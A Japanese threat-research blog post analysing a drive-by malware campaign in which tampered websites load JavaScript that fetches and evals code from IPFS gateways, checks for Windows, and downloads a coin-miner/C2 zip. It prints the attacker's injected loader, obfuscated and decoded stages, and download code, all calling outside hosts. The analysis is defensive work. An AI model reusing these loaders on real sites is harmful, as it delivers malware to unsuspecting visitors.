本書の目的
攻撃者を調査する過程で遭遇した手法について、
注意を促す狙いをこめて記事を作成しています。
もしも業務中に類似した攻撃の被害にあった場合は、
デジタルフォレンジック調査の実施をお勧めします。
自己紹介
・セキュリティ会社で犯罪行為をするハッカーについて調査をしています。
・筋トレにハマっています。
今回紹介する攻撃の概要
- 不正なJavaScriptが埋め込まれたWebサイトを閲覧
- JavaScriptがPCの種類を判定し、Windowsであればマルウェアをダウンロード
- マルウェアを起動すると、コインマイナー、C2Agentとして動作
最初に、今回ご紹介する攻撃はNTTセキュリティブログで紹介されている攻撃と類似点が多いです。
細かいURLのパスやJavaScriptの挙動に差分は有りますが、
攻撃の思想や使用しているドメイン等から同一の攻撃者かもしれないなと考えています。
より理解を深めたい場合は、NTTさんの記事も本記事と併せて読むことをおすすめします。
攻撃解説(ここから技術的なお話し)
part1 最初に呼ばれる不正なJavaScript
今回の攻撃では初めに攻撃者がHTMLファイルの改ざんを行い、
以下のような形式のJavaScriptを挿入します。
fetch("https://gateway.pinata.cloud/ipfs/{以下略}")
.then(function (A) {
return A.text();
})
.then(function (it) {
eval(it);
});
このJavaScriptにより、IPFSサービスを提供している「pinata.cloud」から
攻撃者が設置したコンテンツを取得します。
このコンテンツには難読化されたJavaScriptが記載されており、
コンテンツ取得後にeval関数で自動実行されました。
part2 「gateway.pinata.cloud」からダウンロードしたJavaScriptの動作
gateway.pinata.cloudに設置されていたJavaScriptは、
以下のように人間には読みにくいように難読化されていました。
前略
fetch('\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x61'+'\x74\x65\x77\x61\x79\x2e\x69\x70\x66\x73'+'\x2e\x36\x39\x2e\x6d\x75\x2f\x70\x61\x79'+'\x6c\x6f\x61\x64\x2f\x76\x31')['\x74\x68\x65\x6e']
(_0x3faf80=>{return _0x3faf80['\x74\x65\x78\x74']();})
['\x74\x68\x65\x6e'](_0x549b7f=>{_0x549b7f&&_0x549b7f['\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68']('\x68\x74\x74\x70')&&fetch(_0x549b7f)
['\x74\x68\x65\x6e'](_0x1eb34c=>_0x1eb34c['\x74\x65\x78\x74']())['\x74\x68\x65\x6e'](_0x5b2773=>eval(_0x5b2773));})
後略
仕事上、このように攻撃者が難読化したコードを読み解くことが多いのですが、
今回の難読化は比較的単純な処理でした。
デコードした結果が以下です。
fetch("#https://gateway.ipfs.69.mu/payload/v1")
["then"]((_0x3faf80) => {
return _0x3faf80["text"]();
})
["then"]((_0x549b7f) => {
_0x549b7f &&
_0x549b7f["startsWith"]("http") &&
fetch(_0x549b7f)
["then"]((_0x1eb34c) =>
_0x1eb34c["text"]()
)
["then"]((_0x5b2773) => eval(_0x5b2773));
}),
このscriptは以下のような挙動をします。
- 「"gateway.ipfs.69.mu/payload/v1"」にアクセスしてレスポンスをダウンロード
- レスポンスが「http」から始まる文字列である場合、レスポンスのボディ部分をURLとしてfetch
- 2のレスポンスをeval関数で実行する
Part3: Part2でダウンロードしたJavaScriptの挙動
さきほどのJavaScriptにて、「gateway.ipfs.69.mu/payload/v1」にfetchをすると以下のURLがレスポンスとして返ってきました。
https://gateway.pinata.cloud/ipfs/QmPh8x{中略}7X
さらに、「gateway.pinata.cloud/ipfs/QmPh8x」にアクセスすると以下のJavaScriptが返ってきました。
if (!window.{$ランダムな文字$}_xxxyyyzzz) {
function A() {
return (
!!localStorage.getItem("forceWindows") ||
-1 !==
["Win32", "Win64", "Windows", "WinCE"].indexOf(
window.navigator?.userAgentData?.platform || window.navigator.platform
)
);
}
if (((window.$ランダムな文字$}_xxxyyyzzz = "1"), A())) {
function e(A) {
var e = document.createElement("script");
(e.src = A), document.head.appendChild(e);
}
e("https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"),
e("https://cdnjs.cloudflare.com/ajax/libs/FileSaver.js/2.0.0/FileSaver.min.js"),
e("https://gateway.pinata.cloud/ipfs/QmRcfu{省略}");
{省略}
このコードは以下のような挙動をしています。
- ブラウザの動作環境がWindowsであるか確認
- Windowsである場合、不正な動作を実行
- マルウェアダウンロード用に「jszip」と「FileSaver」を読み込む
- 「gateway.pinata.cloud/ipfs/QmRcfu{略}」から不正なスクリプトを読み込む
このコードより、攻撃者がWindowsを標的としていることが分かりました。
「gateway.pinata.cloud/ipfs/QmRcfu{略}」から読み込んだJavaScriptの動作
var __webpack_exports__ = {};
(() => {
const a = __webpack_require__(495);
window.ipfs_download = function (r) {
const n = "https://file.ipfs.us.69.mu";
<中略>
fetch(n + "/release.zip.json")
.then((e) => e.json())
.then((t) => {
const r = i.transaction(
"googleadsObjectStore",
"readwrite"
);
return (
r.objectStore("googleadsObjectStore")
.put({
blocks: t,
name: "index",
id: 0,
time: new Date().getTime(),
}),
new Promise((e, t) => {
(r.oncomplete = e), (r.onerror = t);
}).then(() => new Promise((e) => e(t)))
);
})
)
)
-
「pinata」から読み込んだコードは「file.ipfs.us.69.mu/release.zip.json」からjsonファイルを読み込みました。
-
次に「release.zip.json」に記載されたfilenameをパスに含めた以下の形式でレスポンスの取得を行います。
「file.ipfs.us.69.mu/{jsonのfilename}」
for (const o of e) {
const s = t.get(o.filename);
r.push(
new Promise((e) => {
s.onsuccess = e;
}).then(() => {
if (
!s.result ||
!s.result.buffer ||
a(s.result.buffer) !== o.filename
)
return fetch(n + "/" + o.filename)
.then((e) => e.arrayBuffer())
.then((e) => {
const r = i.transaction(
"googleadsObjectStore",
"readwrite"
);
return (
r
.objectStore("googleadsObjectStore")
.put({ buffer: e, name: o.filename }),
new Promise((e, t) => {
(r.oncomplete = e), (r.onerror = t);
})
);
});
})
);
}
return Promise.all(r);
最後に「file.ipfs.us.69.mu/{jsonのfilename}」からダウンロードしたレスポンス文字列をBlobとして生成するPromiseを作成します。
return Promise.all(e).then((t) => {
let e = !0;
for (var r of t) r || (e = !1);
if (e) return new Promise((e) => e(new Blob(t)));
});
Part5:ファイルダウンロード処理
最終的に変数「e.data」にマルウェアのバイナリが保存され、
以下のscriptによってダウンロードが開始します。
let n = e("{$base64+hexで暗号化されたHTML$}"),
B = e("{$base64+hexで暗号化されたHTML$}");
var t = document.createElement("iframe");
(t.src =n +`window.addEventListener('message',function(e){saveAs(e.data,'${a}.zip');});` +B),
ファイルは{名称}.zipという形式で保存されますが、
{名称}はこの不正なJavaScriptが埋め込まれたWebサイトによって異なり、
改竄したWebサイトごとに最適なものを埋め込んでいると思われます。
まとめデス
今回の攻撃手法によりダウンロードされたマルウェアは、VirusTotalで検知されるものとなっています。
正規WebサイトからダウンロードしたファイルであってもVirusTotal等をかけて、
いつの間にかマルウェアとすり替えられていないか確認を行うと良いかもしれません。